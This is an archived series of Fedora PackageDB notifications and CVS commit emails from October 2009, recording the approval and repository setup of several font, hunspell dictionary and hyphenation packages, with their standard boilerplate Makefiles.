Message-ID: <20091015172336.27EBF10F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package gfs-ignacio-fonts with summary A majuscule Greek font
kevin has approved Package gfs-ignacio-fonts
kevin has added a Fedora devel branch for gfs-ignacio-fonts with an owner of nim
kevin has approved gfs-ignacio-fonts in Fedora devel
kevin has approved Package gfs-ignacio-fonts
kevin has set commit to Approved for 107427 on gfs-ignacio-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on gfs-ignacio-fonts (Fedora devel)
kevin has set build to Approved for 107427 on gfs-ignacio-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gfs-ignacio-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:23:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:23:37 +0000
Subject: [pkgdb] gfs-ignacio-fonts summary updated by kevin
Message-ID: <20091015172337.E48CA10F882@bastion2.fedora.phx.redhat.com>

kevin set package gfs-ignacio-fonts summary to A majuscule Greek font

To make changes to this package see:
  /pkgdb/packages/name/gfs-ignacio-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:23:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:23:37 +0000
Subject: [pkgdb] gfs-ignacio-fonts (Fedora, 11) updated by kevin
Message-ID: <20091015172338.029EB10F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gfs-ignacio-fonts
kevin has set commit to Approved for 107427 on gfs-ignacio-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on gfs-ignacio-fonts (Fedora 11)
kevin has set build to Approved for 107427 on gfs-ignacio-fonts (Fedora 11)
kevin approved watchbugzilla on gfs-ignacio-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on gfs-ignacio-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gfs-ignacio-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:23:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:23:37 +0000
Subject: [pkgdb] gfs-ignacio-fonts (Fedora, 11) updated by kevin
Message-ID: <20091015172338.0F74A10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gfs-ignacio-fonts
kevin has set commit to Approved for 107427 on gfs-ignacio-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on gfs-ignacio-fonts (Fedora 12)
kevin has set build to Approved for 107427 on gfs-ignacio-fonts (Fedora 12)
kevin approved watchbugzilla on gfs-ignacio-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on gfs-ignacio-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gfs-ignacio-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:23:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:23:37 +0000
Subject: [pkgdb] gfs-ignacio-fonts (Fedora, 11) updated by kevin
Message-ID: <20091015172338.1AEC210F8AD@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on gfs-ignacio-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on gfs-ignacio-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/gfs-ignacio-fonts



From kevin at fedoraproject.org  Thu Oct 15 17:23:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:23:46 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts - New directory
Message-ID: <20091015172346.1F3C511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gfs-ignacio-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsp17642/rpms/gfs-ignacio-fonts

Log Message:
Directory /cvs/pkgs/rpms/gfs-ignacio-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:23:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:23:46 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/devel - New directory
Message-ID: <20091015172346.4C0E211C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gfs-ignacio-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsp17642/rpms/gfs-ignacio-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/gfs-ignacio-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:23:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:23:53 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts Makefile,NONE,1.1
Message-ID: <20091015172353.2DE1111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gfs-ignacio-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsp17642/rpms/gfs-ignacio-fonts

Added Files:
	Makefile 
Log Message:
Setup of module gfs-ignacio-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module gfs-ignacio-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:23:53 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:23:53 +0000 (UTC)
Subject: rpms/gfs-ignacio-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091015172353.6C27411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gfs-ignacio-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsp17642/rpms/gfs-ignacio-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gfs-ignacio-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gfs-ignacio-fonts
# $Id: Makefile,v 1.1 2009/10/15 17:23:53 kevin Exp $
NAME := gfs-ignacio-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:24:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:24:20 +0000
Subject: [pkgdb] adf-tribun-fonts was added for nim
Message-ID: <20091015172420.241D710F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package adf-tribun-fonts with summary A newsprint-like serif typeface
kevin has approved Package adf-tribun-fonts
kevin has added a Fedora devel branch for adf-tribun-fonts with an owner of nim
kevin has approved adf-tribun-fonts in Fedora devel
kevin has approved Package adf-tribun-fonts
kevin has set commit to Approved for 107427 on adf-tribun-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on adf-tribun-fonts (Fedora devel)
kevin has set build to Approved for 107427 on adf-tribun-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/adf-tribun-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:24:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:24:21 +0000
Subject: [pkgdb] adf-tribun-fonts summary updated by kevin
Message-ID: <20091015172421.984F710F882@bastion2.fedora.phx.redhat.com>

kevin set package adf-tribun-fonts summary to A newsprint-like serif typeface

To make changes to this package see:
  /pkgdb/packages/name/adf-tribun-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:24:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:24:21 +0000
Subject: [pkgdb] adf-tribun-fonts (Fedora, 12) updated by kevin
Message-ID: <20091015172421.B805010F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for adf-tribun-fonts
kevin has set commit to Approved for 107427 on adf-tribun-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on adf-tribun-fonts (Fedora 12)
kevin has set build to Approved for 107427 on adf-tribun-fonts (Fedora 12)
kevin approved watchbugzilla on adf-tribun-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on adf-tribun-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/adf-tribun-fonts



From pkgdb at fedoraproject.org  Thu Oct 15 17:24:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:24:21 +0000
Subject: [pkgdb] adf-tribun-fonts (Fedora, 12) updated by kevin
Message-ID: <20091015172421.AEAF610F8A3@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on adf-tribun-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on adf-tribun-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/adf-tribun-fonts



From kevin at fedoraproject.org  Thu Oct 15 17:24:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:24:30 +0000 (UTC)
Subject: rpms/adf-tribun-fonts - New directory
Message-ID: <20091015172430.18D2111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/adf-tribun-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ18023/rpms/adf-tribun-fonts

Log Message:
Directory /cvs/pkgs/rpms/adf-tribun-fonts added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:24:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:24:30 +0000 (UTC)
Subject: rpms/adf-tribun-fonts/devel - New directory
Message-ID: <20091015172430.4056A11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/adf-tribun-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ18023/rpms/adf-tribun-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/adf-tribun-fonts/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:24:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:24:37 +0000 (UTC)
Subject: rpms/adf-tribun-fonts Makefile,NONE,1.1
Message-ID: <20091015172437.59B9211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/adf-tribun-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ18023/rpms/adf-tribun-fonts

Added Files:
	Makefile 
Log Message:
Setup of module adf-tribun-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module adf-tribun-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:24:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:24:37 +0000 (UTC)
Subject: rpms/adf-tribun-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172437.94C2511C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/adf-tribun-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsQ18023/rpms/adf-tribun-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module adf-tribun-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: adf-tribun-fonts
# $Id: Makefile,v 1.1 2009/10/15 17:24:37 kevin Exp $
NAME := adf-tribun-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:24:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:24:58 +0000
Subject: [pkgdb] hunspell-dsb was added for caolanm
Message-ID: <20091015172459.11ED210F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package hunspell-dsb with summary Lower Sorbian hunspell dictionaries
kevin has approved Package hunspell-dsb
kevin has added a Fedora devel branch for hunspell-dsb with an owner of caolanm
kevin has approved hunspell-dsb in Fedora devel
kevin has approved Package hunspell-dsb
kevin has set commit to Approved for 107427 on hunspell-dsb (Fedora devel)
kevin has set checkout to Approved for 107427 on hunspell-dsb (Fedora devel)
kevin has set build to Approved for 107427 on hunspell-dsb (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/hunspell-dsb



From pkgdb at fedoraproject.org  Thu Oct 15 17:25:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:25:00 +0000
Subject: [pkgdb] hunspell-dsb summary updated by kevin
Message-ID: <20091015172500.7509C10F88B@bastion2.fedora.phx.redhat.com>

kevin set package hunspell-dsb summary to Lower Sorbian hunspell dictionaries

To make changes to this package see:
  /pkgdb/packages/name/hunspell-dsb



From kevin at fedoraproject.org  Thu Oct 15 17:25:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:09 +0000 (UTC)
Subject: rpms/hunspell-dsb - New directory
Message-ID: <20091015172509.1364F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-dsb
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq18297/rpms/hunspell-dsb

Log Message:
Directory /cvs/pkgs/rpms/hunspell-dsb added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:25:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:09 +0000 (UTC)
Subject: rpms/hunspell-dsb/devel - New directory
Message-ID: <20091015172509.3C29211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-dsb/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq18297/rpms/hunspell-dsb/devel

Log Message:
Directory /cvs/pkgs/rpms/hunspell-dsb/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:25:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:16 +0000 (UTC)
Subject: rpms/hunspell-dsb Makefile,NONE,1.1
Message-ID: <20091015172516.7682B11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-dsb
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq18297/rpms/hunspell-dsb

Added Files:
	Makefile 
Log Message:
Setup of module hunspell-dsb


--- NEW FILE Makefile ---
# Top level Makefile for module hunspell-dsb
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:25:16 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:16 +0000 (UTC)
Subject: rpms/hunspell-dsb/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172516.B52AB11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-dsb/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq18297/rpms/hunspell-dsb/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module hunspell-dsb


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: hunspell-dsb
# $Id: Makefile,v 1.1 2009/10/15 17:25:16 kevin Exp $
NAME := hunspell-dsb
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:25:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:25:30 +0000
Subject: [pkgdb] hunspell-grc was added for caolanm
Message-ID: <20091015172530.60BDE10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package hunspell-grc with summary Ancient Greek hunspell dictionaries
kevin has approved Package hunspell-grc
kevin has added a Fedora devel branch for hunspell-grc with an owner of caolanm
kevin has approved hunspell-grc in Fedora devel
kevin has approved Package hunspell-grc
kevin has set commit to Approved for 107427 on hunspell-grc (Fedora devel)
kevin has set checkout to Approved for 107427 on hunspell-grc (Fedora devel)
kevin has set build to Approved for 107427 on hunspell-grc (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/hunspell-grc



From pkgdb at fedoraproject.org  Thu Oct 15 17:25:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:25:31 +0000
Subject: [pkgdb] hunspell-grc summary updated by kevin
Message-ID: <20091015172531.3860610F88B@bastion2.fedora.phx.redhat.com>

kevin set package hunspell-grc summary to Ancient Greek hunspell dictionaries

To make changes to this package see:
  /pkgdb/packages/name/hunspell-grc



From kevin at fedoraproject.org  Thu Oct 15 17:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:41 +0000 (UTC)
Subject: rpms/hunspell-grc/devel - New directory
Message-ID: <20091015172541.39E4911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-grc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18499/rpms/hunspell-grc/devel

Log Message:
Directory /cvs/pkgs/rpms/hunspell-grc/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:25:41 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:41 +0000 (UTC)
Subject: rpms/hunspell-grc - New directory
Message-ID: <20091015172541.1441611C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-grc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18499/rpms/hunspell-grc

Log Message:
Directory /cvs/pkgs/rpms/hunspell-grc added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:25:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:48 +0000 (UTC)
Subject: rpms/hunspell-grc Makefile,NONE,1.1
Message-ID: <20091015172548.81C7211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-grc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18499/rpms/hunspell-grc

Added Files:
	Makefile 
Log Message:
Setup of module hunspell-grc


--- NEW FILE Makefile ---
# Top level Makefile for module hunspell-grc
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:25:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:25:48 +0000 (UTC)
Subject: rpms/hunspell-grc/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172548.CE47711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hunspell-grc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsj18499/rpms/hunspell-grc/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module hunspell-grc


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: hunspell-grc
# $Id: Makefile,v 1.1 2009/10/15 17:25:48 kevin Exp $
NAME := hunspell-grc
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:26:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:26:24 +0000
Subject: [pkgdb] hyphen-grc was added for caolanm
Message-ID: <20091015172624.13DFB10F8A8@bastion2.fedora.phx.redhat.com>

kevin has added Package hyphen-grc with summary Ancient Greek hyphenation patterns
kevin has approved Package hyphen-grc
kevin has added a Fedora devel branch for hyphen-grc with an owner of caolanm
kevin has approved hyphen-grc in Fedora devel
kevin has approved Package hyphen-grc
kevin has set commit to Approved for 107427 on hyphen-grc (Fedora devel)
kevin has set checkout to Approved for 107427 on hyphen-grc (Fedora devel)
kevin has set build to Approved for 107427 on hyphen-grc (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/hyphen-grc



From pkgdb at fedoraproject.org  Thu Oct 15 17:26:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:26:25 +0000
Subject: [pkgdb] hyphen-grc summary updated by kevin
Message-ID: <20091015172625.4E8DA10F8AB@bastion2.fedora.phx.redhat.com>

kevin set package hyphen-grc summary to Ancient Greek hyphenation patterns

To make changes to this package see:
  /pkgdb/packages/name/hyphen-grc



From kevin at fedoraproject.org  Thu Oct 15 17:26:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:26:33 +0000 (UTC)
Subject: rpms/hyphen-grc - New directory
Message-ID: <20091015172633.1670511C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hyphen-grc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW18838/rpms/hyphen-grc

Log Message:
Directory /cvs/pkgs/rpms/hyphen-grc added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:26:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:26:33 +0000 (UTC)
Subject: rpms/hyphen-grc/devel - New directory
Message-ID: <20091015172633.3BF4911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hyphen-grc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW18838/rpms/hyphen-grc/devel

Log Message:
Directory /cvs/pkgs/rpms/hyphen-grc/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 15 17:26:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:26:40 +0000 (UTC)
Subject: rpms/hyphen-grc Makefile,NONE,1.1
Message-ID: <20091015172640.511C011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hyphen-grc
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW18838/rpms/hyphen-grc

Added Files:
	Makefile 
Log Message:
Setup of module hyphen-grc


--- NEW FILE Makefile ---
# Top level Makefile for module hyphen-grc
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 15 17:26:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:26:40 +0000 (UTC)
Subject: rpms/hyphen-grc/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091015172640.AB5D211C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/hyphen-grc/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsW18838/rpms/hyphen-grc/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module hyphen-grc


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: hyphen-grc
# $Id: Makefile,v 1.1 2009/10/15 17:26:40 kevin Exp $
NAME := hyphen-grc
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:01 +0000
Subject: [pkgdb] hunspell-qu was added for caolanm
Message-ID: <20091015172701.53F0E10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package hunspell-qu with summary Quechua Ecuador hunspell dictionaries
kevin has approved Package hunspell-qu
kevin has added a Fedora devel branch for hunspell-qu with an owner of caolanm
kevin has approved hunspell-qu in Fedora devel
kevin has approved Package hunspell-qu
kevin has set commit to Approved for 107427 on hunspell-qu (Fedora devel)
kevin has set checkout to Approved for 107427 on hunspell-qu (Fedora devel)
kevin has set build to Approved for 107427 on hunspell-qu (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/hunspell-qu



From pkgdb at fedoraproject.org  Thu Oct 15 17:27:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 15 Oct 2009 17:27:02 +0000
Subject: [pkgdb] hunspell-qu summary updated by kevin
Message-ID: <20091015172702.4299710F889@bastion2.fedora.phx.redhat.com>

kevin set package hunspell-qu summary to Quechua Ecuador hunspell dictionaries

To make changes to this package see:
  /pkgdb/packages/name/hunspell-qu



From kevin at fedoraproject.org  Thu Oct 15 17:27:09 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 15 Oct 2009 17:27:09 +0000 (UTC)
Subject: rpms/hunspell-qu - New directory
